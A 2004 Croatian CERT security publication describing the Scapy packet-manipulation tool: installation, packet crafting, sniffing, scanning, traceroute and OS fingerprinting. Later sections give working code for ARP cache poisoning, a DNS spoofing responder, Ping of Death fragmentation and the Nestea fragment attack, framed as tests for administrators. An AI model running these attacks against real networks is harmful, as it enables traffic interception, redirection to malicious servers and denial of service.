HRVATSKA AKADEMSKA I ISTRAŽIVAČKA MREŽA
CROATIAN ACADEMIC AND RESEARCH NETWORK

Analiza SCAPY alata

CCERT-PUBDOC-2004-02-62

CARNet CERT u suradnji s LS&S

Sigurnosni problemi u računalnim programima i operativnim sustavima područje je na kojem CARNet CERT kontinuirano radi.

Rezultat toga rada ovaj je dokument, koji je nastao suradnjom CARNet CERT-a i LS&S-a, a za koji se nadamo se da će Vam koristiti u poboljšanju sigurnosti Vašeg sustava.

CARNet CERT, www.cert.hr - nacionalno središte za **sigurnost računalnih mreža** i sustava.

LS&S, www.lss.hr - laboratorij za sustave i signale pri Zavodu za elektroničke sustave i obradbu informacija Fakulteta elektrotehnike i računarstva Sveučilišta u Zagrebu.

Sadržaj

1. UVOD 4

2. INSTALACIJA 5

3. RAD S ALATOM 6

3.1. OTVARANJE SESIJE 6
3.2. DEFINIRANJE VARIJABLE I KLASE 6
3.3. PODRŽANI MREŽNI PROTOKOLI 7
3.4. SLANJE I PRIMANJE PAKETA 8
3.4.1. Nadgledanje mrežnog prometa 9

4. OSTALE MOGUĆNOST SCAPY ALATA 11

4.1. PREGLEDAVANJE MREŽE 11
4.2. TRACEROUTE NAREDBA 11
4.3. PASIVNA IDENTIFIKACIJA OPERACIJSKIH SUSTAVA 12
4.4. ARP *CACHE POISONING* NAPAD 12
4.5. AKTIVNA IDENTIFIKACIJA OPERACIJSKIH SUSTAVA 13
4.6. DNS *SPOOFING* NAPAD 14
4.7. PING OF DEATH NAPAD 14
4.8. NESTEA NAPAD 14

5. ZAKLJUČAK 15

1. Uvod

Scapy je vrlo moćan programski paket koji omogućuje interaktivno kreiranje i manipulaciju mrežnim paketima. Ovaj paket moguće je koristiti za jednostavne radnje poput slanja paketa i prisluškivanja mrežnog prometa, ali i za kompliciranije zadatke kao što su pregledavanje mrežnih portova ili identifikacija operacijskog sustava na udaljenim računalima.

Kao jednostavno i interaktivno korisničko sučelje programeri ovog paketa odabrali su interpreter za Python programski jezik. Jednostavnije rečeno, Scapy je izveden kao programski modul za Python jezik, što u grubo znači da su unutar njegovog programskog koda sadržane gotove funkcije koje se mogu koristiti unutar Python interpretera. Te funkcije moguće je kombinirati sa ostalim standardnim Python funkcijama i na taj način, korištenjem programskih petlji i korisnički definiranih varijabli, obavljati složene zadatke poput generiranja mrežnog prometa. Nakon rada s alatom postoji i mogućnost spremanja trenutnog stanja varijabli u posebnu datoteku, kako bi kasnije bilo moguće nastaviti rad sa identičnom radnom okolinom. Za lakše i efikasnije korištenje ovog programa preporučuje se proučavanje priručnika za rad s Python programskim jezikom (http://www.python.org/doc/current/tut/tut.html).

Svojom funkcionalnošću Scapy je trenutno u mogućnosti djelomice ili čak u potpunosti zamijeniti pakete kao što su ttlscan, nmap, hping, queso, p0f, xprobe, arping, arp-sk, arpspoof, firewalk i irpas. U daljnjem tekstu biti će dani i konkretni primjeri korištenja Scapy-a kao zamjene za navedene alate.

2. Instalacija

Budući da se radi o programu koji je izveden kao Python modul, nije potreban poseban instalacijski postupak. Izvorni kod Scapy-a, koji se može pronaći na adresi http://www.cartel-securite.fr/pbiondi/python/scapy-0.9.16.tar.gz, potrebno je otpakirati naredbom `tar -xzvf scapy-0.9.16.tar.gz` i modul scapy.py, koji se nalazi u novonastalom direktoriju, praktički je spreman za upotrebu. Prije samog pokretanja potrebno je provjeriti da li se Python interpreter nalazi u stazi (`$PATH`) sustava, kako bi se modul mogao automatski pokrenuti. Interpreter se obično nalazi unutar `/usr/local/bin` ili `/usr/local/python` direktorija.

Na adresama http://packages.debian.org/unstable/net/scapy.html i http://dag.wieers.com/packages/scapy/ moguće je pronaći i odgovarajuće DEB odnosno RPM instalacijske pakete.

Trenutna inačica Scapy-a (0.9.16) radi isključivo na Linux operacijskim sustavima i za svoj ispravan rad zahtjeva Python programski jezik inačice 2.2 ili veće.

3. Rad s alatom

Scapy svoju primjenu nalazi u sljedećim područjima:

- Testiranje i istraživanje (omogućuje brzo i jednostavno slanje mrežnih paketa i pregledavanje pristiglih odgovora);
- Pregledavanje (mogućnost pregledavanja mreža, portova i mrežnih protokola);
- Ispitivanje (pregledavanje ruta, ispitivanje vatrozida, prepoznavanje operacijskih sustava);
- Izvođenje mrežnih napada.

Uz gore navedene primjere, potrebno je napomenuti da je pomoću Scapy-a moguće generirati izvještaje s rezultatima pregledavanja u HTML, LATEX i tekstualnom obliku.
Osnovna ideja rada ovog programa vrlo je jednostavna. Pomoću Python interpretera kao korisničkog sučelja, korisnik definira mrežne pakete, koje potom šalje i osluškuje odgovore na poslani paket. Primljeni paketi uparuju se s poslanim zahtjevima i korisniku se šalje lista parova paketa, kao i zahtjeva i odgovora koji su ostali bez para. Upravo na ovakvom pristupu analize paketa temelji se osnovna prednost Scapy-a nad paketima poput nmap-a ili hping-a, kod kojih nije moguće detaljno analizirati primljene pakete.
Na ovakav jednostavan pristup kasnije je moguće dodavati složenije funkcije koje su u mogućnosti obavljati pregledavanje mreže ili izvođenje mrežnih napada.

3.1. Otvaranje sesije

Za ulazak u interaktivno sučelje Scapy-a, tj. početak nove sesije, u naredbenom retku upisuje se

```
# ./scapy.py -s ime_sesije
New session [ime_sesije]
Welcome to Scapy (0.9beta)
>>>
```

Prompt ">>>" označava da je Python interpreter u interaktivnom načinu rada i da očekuje unos sljedeće naredbe. Ovaj prompt naziva se primarni prompt. U slučaju da zadana naredba podrazumijeva unos dodatnih naredbi, na ekranu će se pojaviti sekundarni prompt kojeg označavaju tri točke ("..."). Najbolji primjer za korištenje sekundarnog prompta su konstrukcije poput if petlje:

```
>>> varijabla = 1
>>> if varijabla:
...     print "Sadržaj varijable je jedan!"
...
Sadržaj varijable je jedan!
>>>
```

Unutar interaktivnog sučelja moguće je pokretati sve standardne Python naredbe, definirati varijable i koristiti posebne funkcije definirane unutar Scapy-a.
Iz sesije se izlazi pritiskom na kombinaciju tipaka CTRL-D, pri čemu se stanje sustava, tj. sadržaj varijabli sprema u datoteku koja nosi ime sesije.

3.2. Definiranje varijable i klase

Vrijednost varijable postavlja se vrlo jednostavno navođenjem imena varijable iza kojeg slijedi znak jednakosti i vrijednost varijable, u primarnom promptu, dok se klasa definira pomoću naredbe class, na sljedeći način:

```
class ClassName:
    <statement-1>
    .
    .
    .
    <statement-N>
```

Jedna od važnijih klasa unutar Scapy aplikacije je svakako klasa Net. Pomoću nje korisnik definira određeni set IP adresa koji će se koristiti prilikom izvođenja raznih operacija. Potrebno je napomenuti da Net klasu nije potrebno navoditi kao argument funkcija definiranih Scapy programom, već se vrijednosti pohranjene u njoj koriste automatski.

Svakako je potrebno spomenuti i varijablu conf u kojoj su sadržani svi konfiguracijski parametri aplikacije.

```
>>> conf
L2listen   = <class scapy.L2ListenSocket at 0x83a77dc>
L2socket   = <class scapy.L2Socket at 0x83aabbc>
L3socket   = <class scapy.L3PacketSocket at 0x83aa8cc>
filter     = 'not implemented'
histfile   = '/home/pbi/.scapy_history'
iff        = 'eth0'
promisc    = 'not implemented'
session    = ''
sniff_promisc = 0
stealth    = 'not implemented'
verb       = 2
>>>
```

Značenja pojedinih konfiguracijskih parametara su sljedeća:

- session – definira datoteku u koju se pohranjuju parametri sesije prilikom izlaska iz programa.
- stealth – ukoliko je vrijednost ovog parametra jednaka 1, program će raditi u pritajenom načinu rada, tj. biti će spriječeno slanje svih neželjenih (potencijalno opasnih) paketa. Potrebno je napomenuti kako ova opcija nije u potpunosti funkcionalna.
- iff – određuje primarno mrežno sučelje kroz koje će se korištenjem funkcija srp() i sendp() slati paketi.
- sniff_promisc – određuje uobičajeni način rada sniff() funkcije.
- verb – definira količinu poruka kojom će se korisnik obavještavati o radu programa. Vrijednost 0 smanjiti će poruke korisniku na minimum, dok će vrijednost 3 rezultirati ispisom svih poruka nastalih kao rezultat korištenja programa.
- histfile – određuje datoteku u koju se upisuju sve naredbe unesene u naredbenom retku Python interpretera. Korištenjem ove datoteke, Scapy-u se dodaje "*history*" funkcionalnost Linux naredbene ljuske.
- filter – omogućuje dodavanje filtera sučeljima za nadgledanje mrežnog prometa. Postupkom filtriranja vrlo je lako izdvojiti željene pakete iz ostatka mrežnog prometa.
- promisc – definira uobičajeni način rada sučelja za nadgledanje mrežnog prometa.

Vrijednost conf varijable sprema se pri završetku sesije, kako bi prilikom njenog ponovnog otvaranja konfiguracija programa bila identična.

3.3. Podržani mrežni protokoli

U Scapy je trenutno ugrađena podrška za sljedeće mrežne protokole (ispis podržanih protokola moguće je dobiti naredbom ls()):

- Ethernet
- 802.1Q
- 802.11
- 802.3
- LLC
- EAPOL
- EAP
- BOOTP
- PPP Link Layer
- IP
- TCP
- ICMP
- ARP
- STP
- UDP

- DNS

Svaki od protokola sadrži inicijalne definicije paketa, koje je po potrebi moguće mijenjati. Detaljan ispis definicije paketa pojedinog protokola dobiva se korištenjem naredbe ls(ime_protokola). Na primjer, paket IP protokola definiran je na sljedeći način:

```
>>> ls(IP)
version    : BitField (4)
ihl        : BitField (None)
tos        : XByteField (0)
len        : ShortField (None)
id         : ShortField (1)
flags      : BitField (0)
frag       : BitField (0)
ttl        : ByteField (64)
proto      : ByteField (0)
chksum     : XShortField (None)
src        : SourceIPField (None)
dst        : IPField ('127.0.0.1')
options    : IPoptionsField ('')
>>>
```

Ukoliko se nekom od polja unutar definicije paketa pridijeli određena vrijednost, inicijalna vrijednost će se prepisati novom vrijednošću. Na isti način moguće je, zadajući polja koja paket sadrži i definirajući njegove vrijednosti dodavati podršku za nove protokole.

3.4. Slanje i primanje paketa

U svrhu manipulacije mrežnim paketima Scapy, osim standardnih Python naredbi, nudi i nekolicinu funkcija posebno pripremljenih da olakšaju rad s alatom. Naredbom lsc () moguće je dobiti ispis svih naredbi:

- sr – šalje i prima pakete na trećem OSI sloju.
- sr1 - šalje i prima pakete na trećem OSI sloju i pritom ispisuje samo prvi odgovor na poslane pakete.
- srp - šalje i prima pakete na drugom OSI sloju.
- srp1 - šalje i prima pakete na drugom OSI sloju i pritom ispisuje samo prvi odgovor na poslane pakete.
- srloop - šalje i prima pakete na trećem OSI sloju. Paketi se šalju unutar petlje i ispisuje se odgovor na svaki paket.
- srploop - šalje i prima pakete na drugom OSI sloju. Paketi se šalju unutar petlje i ispisuje se odgovor na svaki paket.
- sniff – prisluškuje mrežni promet.
- p0f – naredba imitira ponašanje p0f alata, tj. omogućuje pasivno ispitivanje operacijskog sustava udaljenog računala.
- arpcachepoison – izvodi ARP *cache poisoning* napad na zadano računalo.
- send – šalje pakete na trećem OSI sloju.
- sendp – šalje pakete na drugom OSI sloju.
- traceroute – oponaša funkcionalnost traceroute programa.
- arping - ispituje da li računalo sa zadanom adresom odgovara na ARP upite.
- queso – ispitivanje operacijskog sustava udaljenog računala na način identičan Queso programu.
- nmap_fp - ispitivanje operacijskog sustava udaljenog računala na način identičan nmap programu.
- report_ports – ispituje mrežne portove na zadanom računalu i vraća rezultat u obliku LaTex izvještaja.
- dyndns_add – šalje DNS add poruku zadanom DNS poslužitelju.
- dyndns_del - šalje DNS delete poruku zadanom DNS poslužitelju.

Kao primjer naredbe za slanje i primanje paketa poslužiti će naredba sr1() koja šalje zadani paket na trećem OSI sloju i ispisuje prvi pristigao odgovor.

```
>>> p=sr1(IP(dst="127.0.0.1")/ICMP()/"XXXXXXXXXXX")
Finished to send 1 packets.
*
Received 1 packets, got 1 answers, remaining 0 packets
>>> p
<IP frag=0 src=172.16.1.40 proto=1 tos=0x0 dst=127.0.0.1
chksum=0xd56c len=39 options='' version=4 flags= ihl=5 ttl=255
id=35848 |<ICMP code=0 type=echo-reply id=0x0 seq=0x0 chksum=0xee45
|<Raw load='XXXXXXXXXXX' | <Padding
load='\x00\x00\x00\x00\x00\x00\x00' |>>>>
```

Kao parametre funkcija prima IP adresu ciljnog računala, tip mrežnog protokola i sadržaj paketa. Dobiveni odgovor, moguće je detaljnije analizirati na sljedeći način:

```
>>> p.display()
---[ IP ]---
version   = 4
ihl       = 5
tos       = 0x0
len       = 39
id        = 35848
flags     =
frag      = 0
ttl       = 255
proto     = ICMP
chksum    = 0xd56c
src       = 172.16.1.40
dst       = 172.16.1.24
options   = ''
---[ ICMP ]---
   type      = echo-reply
   code      = 0
   chksum    = 0xee45
   id        = 0x0
   seq       = 0x0
---[ Raw ]---
      load      = 'XXXXXXXXXXX'
---[ Padding ]---
         load      = '\x00\x00\x00\x00\x00\x00\x00'
```

Na opisani način moguće je na računalnu mrežu slati proizvoljne pakete i analizirati pristigle odgovore. Naredba koja bi izvršavala DNS upit izgleda ovako:

```
>>>sr1(IP(dst="127.0.0.1")/UDP()/DNS(rd=1,qd=DNSQR(qname="www.target.com")))
```

3.4.1. Nadgledanje mrežnog prometa

Za nadgledanje mrežnog prometa koristi se posebna naredba pod imenom sniff(). Najjednostavniji oblik ove naredbe je sniff (count=broj_paketa), koji će sa mreže dohvatiti zadani broj paketa.

```
>>> sniff(count=2)
[<Ether src=00:d0:b7:88:50:f2 dst=00:03:47:88:1d:2f type=0x800 |<IP
frag=0 src=172.16.1.40 proto=1 tos=0x0 dst=172.16.1.24 chksum=0x3974
len=84 options='' version=4 flags=0 ihl=5 ttl=255 id=10196 |<ICMP
code=0 type=0 id=0xdc0f seq=0x7138 chksum=0x25e5 |<Raw
load='>r\x15f\x00\x07M\xf0\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13
\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !"#$%&\'()*+,-
./01234567' |''>>>>,
>>>
```

Osim broja dohvaćenih paketa, kao parametar ovoj funkciji moguće je proslijediti i sučelje s kojeg će se paketi dohvaćati, a dobiveni izlaz moguće je i filtrirati. Pakete s ciljnim portom 110 moguće je izdvojiti sljedećom naredbom:

```
sniff(filter="tcp port 110")
```

Budući da je za pristup sučelju za nadgledanje mrežnog prometa potrebno imati odgovarajuće ovlasti na razini operacijskog sustava, ovu funkciju će biti moguće koristiti isključivao ako je Scapy pokrenut pod ovlastima administratora sustava.

4. Ostale mogućnost Scapy alata

Osim jednostavnog slanja, primanja i nadgledanja paketa u svrhu njihove analize, pomoću Scapy-a je moguće izvoditi razne druge operacije na računalnoj mreži, uključujući i neke oblike mrežnih napada. Kako bi se olakšalo izvođenje kompleksnijih radnji s mrežnim paketima napisane su posebne funkcije, čije će korištenje biti opisano u daljnjem tekstu.

4.1. Pregledavanje mreže

Pregledavanje mreže u potrazi za aktivnim računalima svakako je jedan od češćih zadataka. Sljedeći primjer pokazuje kako poslati upite na standarde portove kojima se služe Web poslužitelji i ispisati IP adrese poslužitelja sa kojih je pristigao odgovor.

```
ans,unans = sr(IP(dst="127.0.0.0/24")/TCP(dport=[80,443,8080]))
for s,r in ans:
print r.sprintf("%-15s,IP.src% %4s,TCP.sport% %2s,TCP.flags%")
```

Identičan postupak moguće je primijeniti koristeći MAC adrese umjesto IP adresa

```
ans,unans=srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="172.16.1.0/24
"))
for s,r in ans:
print r.sprintf("%Ether.src% %ARP.psrc%")
```

4.2. Traceroute naredba

Unutar Scapy alata implementirana je standardna traceroute naredba, koja je sastavni dio svih operacijskih sustava. Ova funkcionalnost izvedena je tako da se ciljnom računalu pošalje serija paketa, sa određenim rasponom TTL vrijednosti, počevši od vrijednosti TTL=1. Paketi čiji limit trajanja istekne prije nego što stignu na ciljno računalo uzrokovati će generiranje ICMP "*Time exceeded in transit*" paketa na usmjerivačima preko kojih paketi prolaze. IP adrese s kojih su poslani odgovori uspoređuju se potom s adresom ciljnog računala i postupak se ponavlja sve dok te dvije adrese ne budu identične. Na taj se način dolazi do liste svih usmjerivača preko kojih su paketi prolazili do svojeg cilja.

Primjer gore opisanog postupka izgleda ovako:

```
>>>ans,unans=sr(IP(dst=target,ttl=(4,25),id=RandShort())/TCP(flags=0x2))
*****.******.*.***..*.**Finished to send 22 packets.
***......
Received 33 packets, got 21 answers, remaining 1 packets
>>> for snd,rcv in ans:
...     print snd.ttl, rcv.src, isinstance(rcv.payload, TCP)
...
5 194.51.159.65 0
6 194.51.159.49 0
4 194.250.107.181 0
7 193.251.126.34 0
8 193.251.126.154 0
9 193.251.241.89 0
10 193.251.241.110 0
11 193.251.241.173 0
13 208.172.251.165 0
12 193.251.241.173 0
14 208.172.251.165 0
15 206.24.226.99 0
16 206.24.238.34 0
17 173.109.66.90 0
18 173.109.88.218 0
19 173.29.39.101 1
20 173.29.39.101 1
21 173.29.39.101 1
22 173.29.39.101 1
23 173.29.39.101 1
24 173.29.39.101 1
```

Kako bi se korisniku olakšalo izvođenje ovog postupka definirana je posebna traceroute() funkcija sljedećeg oblika:

```
traceroute(target, [maxttl=30], [dport=80], [sport=80])
```

Kao parametre potrebno je proslijediti IP adresu ciljnog računala, maksimalnu vrijednost TTL polja odaslanog paketa, kao i izvorni i ciljni port. Maksimalna vrijednost TTL polja inicijalno je postavljena na 30, dok su vrijednosti portova postavljene na 80.

4.3. Pasivna identifikacija operacijskih sustava

Pasivno pregledavanje u svrhu identifikacije operacijskog sustava udaljenog računala još je jedna u nizu mogućnosti ovog programa. Pasivno pregledavanje je tehnika određivanja vrste udaljenog operacijskog sustava koja nastoji analizirati TCP/IP pakete nastale kao odgovor na legalan i naizgled bezazlen upit (HTTP ili SMTP zahtjev). Budući da se implementacija TCP/IP stoga razlikuje od sustava do sustava, svaki odgovor će sadržavati specifične vrijednosti parametara unutar samog paketa. Usporedbom pristiglog paketa sa nizom unaprijed definiranih pravila moguće je sa velikom sigurnošću odrediti vrstu udaljenog operacijskog sustava. Ovakav oblik pregledavanja ne generira nikakav neobičan mrežni promet te ga je stoga gotovo nemoguće otkriti. Jedan od najpoznatijih programa za pasivno pregledavanje operacijskih sustava je svakako program pod nazivom p0f, čiju funkcionalnost u ovom slučaju Scapy u potpunosti duplicira.

Za uspješnu identifikaciju udaljenog sustava potrebno je poslati upit i pregledavati mrežni promet očekujući odgovor. U tu svrhu najbolje je upotrijebiti Scapy naredbu sr1() (Poglavlje 3.4). Uspješno dohvaćen odgovor sa udaljenog računala analizira se pomoću naredbe p0f(paket), što je prikazano u sljedećem primjeru. Pri tome broj ispisan ispred identificiranog operacijskog sustava označava pouzdanost identifikacije.

```
>>> p
<Ether src=00:40:33:96:7b:60 dst=00:10:4b:b3:7d:4e type=0x800 |<IP
frag=0 src=192.168.8.10 proto=6 tos=0x10 dst=192.168.8.1
chksum=0xb85e len=60 options='' version=4 flags=2 ihl=5 ttl=64
id=61681 |<TCP reserved=0 seq=2023566040L ack=0L dataofs=10 dport=80
window=5840 flags=SEC chksum=0x570c urgptr=0 sport=46511
options={'Timestamp': (342940201L, 0L), 'MSS': 1460, 'NOP': (),
'SAckOK': '', 'WScale': 0} |''>>>
>>> p0f(p)
(1.0, ['Linux 2.4.2 - 2.4.14 (1)'])
>>>
```

Prilikom analize paketa Scapy koristi bazu "otisaka" operacijskih sustava preuzetu iz p0f alata. Ime baze je p0f.fp i dolazi unutar svakog p0f paketa. Točna lokacija baze unutar datotečnog sustava definira se p0f_base opcijom conf konfiguracijske varijable. Inicijalna lokacija je /etc/p0f.fp, pa je umjesto promjene konfiguracije paketa datoteku moguće kopirati u navedeni direktorij. Unutar datoteke koja predstavlja bazu "otisaka" operacijskih sustava detaljno je objašnjen format zapisa koji definira "otisak" sustava, pa je korisnik u mogućnosti i sam dodavati nove definicije.

Prisluškivanje svog mrežnog prometa i automatsko prepoznavanje operacijskih sustava koji su odaslali dohvaćene pakete moguće je korištenjem sljedeće naredbe:

```
>>> a=sniff(prn=prnp0f)
(1.0, ['Linux 2.4.2 - 2.4.14 (1)'])
(1.0, ['Linux 2.4.2 - 2.4.14 (1)'])
(0.875, ['Linux 2.4.2 - 2.4.14 (1)', 'Linux 2.4.10 (1)', 'Windows 98
(?)'])
(1.0, ['Windows 2000 (9)'])
>>>
```

Za korištenje ovakvog oblika pasivnog pregledavanje mreže, jednako kao i za općenito korištenje sniff naredbe, Scapy je potrebno pokrenuti sa razinom ovlasti administratora sustava.

4.4. ARP *Cache Poisoning* napad

Kada računalo spojeno na Ethernet mrežu želi poslati IP paket, ono nužno mora poznavati MAC adresu ciljnog računala. U tu svrhu koristi se *Address Resolution Protocol* (skraćeno ARP). Slanjem

krivotvorenih ARP paketa na Ethernet mrežu maliciozni korisnik u stanju je izmijeniti ARP *Cache* tablice pojedinih računala, preusmjeravajući na taj način mrežni promet na željenu adresu. Ovakav tip napada naziva se ARP *Cache Poisoning* i potpuno je transparentan prema korisniku.
Postupak izvođenja ARP *Cache Poisoning* napada pomoću Scapy-a vrlo je jednostavan. Funkcijom gatmacbyip dohvaća se MAC adresa ciljnog računala, kojem se potom šalju krivotvoreni parovi MAC/IP adresa. Paketi se šalju u beskonačnoj petlji s definiranim vremenom čekanja između dva paketa.

```
>>> targetMAC = getmacbyip(target)
>>> p = Ether(dst=mactarget)/ARP(op="who-has",
... psrc=victim, pdst=target)
>>> while 1:
... sendp(p)
... time.sleep(30)
```

U svrhu olakšavanja izvođenja opisane radnje, definirana je funkcija arpcachepoison() koja kao parametre uzima IP adresu računala čija se MAC adresa želi krivotvoriti, ciljnu IP adresu i vremenski interval između dvaju uzastopnih slanja paketa. Ciljnom računalu šalje se MAC adresa računala na kojem je pokrenut Scapy, u kombinaciji sa IP adresom računala čija se adresa krivotvori.

```
>>>arpcachepoison(target, victim, interval=60)
```

Korištenje ove opcije administratoru pomaže pri otkrivanju računala koja su eventualno ranjiva na ARP *cache poisoning* napad. Većina modernih operacijskih sustava otporna je na ovu vrstu napada i pri bilo kakvom pokušaju istoga prijaviti će postojanje dva računala na mreži sa identičnom IP adresom.

4.5. Aktivna identifikacija operacijskih sustava

Uz pasivno pregledavanje operacijskih sustava, Scapy podržava i aktivno pregledavanje, po uzoru na nmap aplikaciju. Datoteka nmap-os-fingerprints, koja predstavlja bazu "otisaka" operacijskih sustava, preuzima se iz nmap programa i najčešće se nalazi u /usr/share/nmap/ direktoriju. Ovo je ujedno i inicijalno podešena lokacija na kojoj će Scapy tražiti bazu "otisaka". Alternativnu lokaciju nmap-os-fingerprints datoteke moguće je definirati promjenom sadržaja conf.nmap_base varijable.
Postupak određivanja tipa udaljenog operacijskog sustava relativno je jednostavan i započinje uzimanjem "otiska" operacijskog sustava udaljenog računala pomoću naredbe nmap_sig.

```
>>> sig=nmap_sig("127.0.0.1")
```

Dobiveni otisak moguće je pregledavati pomoću naredbe nmap_sig2txt koja konvertira izlaz nmap_sig naredbe u oblik koji intuitivan korisniku.

```
>>> print nmap_sig2txt(sig)
T1(DF=Y%W=16A0%ACK=S++%Flags=AS%Ops=MNNTNW)
T2(Resp=N)
T3(DF=Y%W=16A0%ACK=S++%Flags=AS%Ops=MNNTNW)
T4(DF=Y%W=0%ACK=O%Flags=R%Ops=)
T5(DF=Y%W=0%ACK=S++%Flags=AR%Ops=)
T6(DF=Y%W=0%ACK=O%Flags=R%Ops=)
T7(DF=Y%W=0%ACK=S++%Flags=AR%Ops=)
PU(DF=N%TOS=C0%IPLEN=164%RIPTL=148%RID=E%RIPCK=E%UCK=E%ULEN=134%DAT=
E)
>>>
```

U posljednjem koraku, baza "otisaka" operacijskih sustava definirana varijablom conf.nmap_base pretražuje se kako bi se utvrdilo kojem operacijskom sustavu odgovara dobiveni otisak. U tu svrhu koristi se naredba nmap_search.

```
>>> nmap_search(sig)
(1.0, ['Linux Kernel 2.4.0 - 2.5.20', 'Linux 2.4.19 w/grsecurity
patch'])
>>>
```

Brojka navedena ispred vrste operacijskog sustava, jednako kao i kod p0fanalize, označava vjerojatnost prepoznavanja udaljenog operacijskog sustava.

4.6. DNS *spoofing* napad

DNS *spoofing* je vrsta *cache poisoning* napada kojom se pokušava izmijeniti *cache* tablica DNS poslužitelja. Uspješno provođenje ovog napada može rezultirati preusmjeravanjem mrežnog prometa na maliciozne poslužitelje. Tako na primjer korisnici kompromitiranog DNS poslužitelja mogu posjećivati Web stranice na malicioznim poslužiteljima, bez da posumnjaju u njihovu identičnost. Na ovaj način moguće je preusmjeriti i cjelokupan E-mail promet namijenjen nekoj domeni, prema malicioznom SMTP poslužitelju.

Moguće posljedice ovakvog napada vrlo su ozbiljne i poželjno je testirati DNS poslužitelj na DNS *spoofing* napad. DNS poslužitelj moguće je testirati i pomoću Scapy-a vrlo jednostavnim postupkom. Prije svega, potrebno je definirati funkciju koja će kao ulaz primati legalan DNS upit i iz njega kreirati lažan odgovor, predstavljajući se kao autoritativan DNS poslužitelj za traženu domenu. U sljedećem primjeru, funkcija će se zvati mkspoof() i imati će sljedeći oblik:

```
def mkspoof(x):
ip=x.getlayer(IP)
dns=x.getlayer(DNS)
return IP(dst=ip.src,src=ip.dst)/UDP(dport=ip.sport,sport=ip.dport)/
DNS(id=dns.id,qd=dns.qd,
an=DNSRR(rrname=dns.qd.qname, ttl=10, rdata="1.2.3.4"))
```

Nakon definiranja funkcije, potrebno je presresti DNS upite koji se pojavljuju na mreži i na njih odgovoriti brže od autoritativnog poslužitelja za traženu domenu. To se postiže tako da se u beskonačnoj petlji prisluškuje mrežni promet i uz pomoć odgovarajućih filtara izdvoji DNS upite, na koje se primjenjuje ranije definirana mkspoof() funkcija.

```
while 1:
a=sniff(filter="port 53", count=1, promisc=1)
if not a[0].haslayer(DNS) or a[0].qr: continue
send(mkspoof(a[0]))
```

Ukoliko se nakon toga u *cache* tablicama testiranog poslužitelja pojave krivotvoreni zapisi, može se pretpostaviti da je poslužitelj ranjiv na ovu vrstu napada.

4.7. *Ping of death* napad

Jedan od poznatijih DoS napada na starijim tipovima operacijskih sustava je svakako "*Ping of Death*". Napad se postiže tako da se ciljnom računalu pošalje ICMP ping paket veličine 65536 okteta, što uvelike prelazi uobičajenu veličinu ICMP ping paketa od 64 okteta. Naravno, paket ovakve veličine je ilegalan, ali moguće ga je fragmentirani u više paketa i poslati preko mreže. Kada se na ciljnom računalu fragmenti sastave u cjelinu, rezultirajući paket kod većine starijih operacijskih sustava izazvati će prepisivanje spremnika, što u za sobom povlači probleme u radu operacijskog sustava. Na Windows 95 ili NT računalima ovakav napad moguće je izvesti korištenjem standardne ping naredbe, kojoj je kao argument proslijeđena ilegalna veličina paketa:

```
ping -l 65510 adresa_ciljanog_racunala
```

Unutar Scapy sučelja, korištenjem kombinacije standardnih Python funkcija i ugrađenih Scapy naredbi, ovaj napad moguće je izvesti na sljedeći način:

```
for p in fragment(IP(dst="ip_adresa")/ICMP()/("X"*60000)):
send(p)
```

Unutar for petlje vrši se fragmentacija paketa, koji se naredbom send šalje po trećem OSI sloju.

4.8. *Nestea* napad

Nestea je jednostavan DoS napad na koji su osjetljive Linux jezgre inačice 2.0 i 2.1. Napad se temelji na slanju fragmentiranih IP paketa Linux računalu priključenom na mrežu. Navedene jezgre sadrže sigurnosni propust u kodu za spajanje fragmentiranih paketa, koji napadaču omogućuje prepisivanje spremnika na ciljnom računalu.

Sljedećim naredbama, pomoću Scapy alata, moguće je izvesti *Nestea* napad:

```
send(IP(dst=target, id=42, flags="MF")/UDP()/("X"*10))
send(IP(dst=target, id=42, frag=48)/("X"*116))
send(IP(dst=target, id=42, flags="MF")/UDP()/("X"*224))
```

5. Zaključak

Scapy je vrlo koristan alat namijenjen prije svega stručnjacima za računalnu sigurnost, kojima olakšava analizu i manipulaciju mrežnim paketima, kao i vrlo brzo izvođenje složenijih radnji poput pasivnog i aktivnog pregledavanja računalnih mreža. Detaljan uvid u strukturu primljenih paketa i mogućnost preciznog definiranja sadržaja poslanih paketa izdvaja ga od konkurencije, a povećanoj fleksibilnosti programa doprinosi i mogućnost proizvoljnog definiranja mrežnih protokola. Najveća prednost Scapy-a pred konkurencijom je ideja korištenja Python interpretera kao korisničkog sučelja. Ovakav pristup korisniku pruža veliku slobodu prilikom upotrebe paketa, ali ga istovremeno čini i težim za korištenje od strane neiskusnih korisnika.

Nažalost, Scapy je alat novijeg datuma i još uvijek je u razvojnoj fazi, što znači da su moguće greške u njegovom radu. Manja primjedba može se uputiti i brzini rada alata, koja je rezultat korištenja interpretera, kao i činjenici da je Scapy trenutno moguće koristiti isključivo na Linux operacijskim sustavima.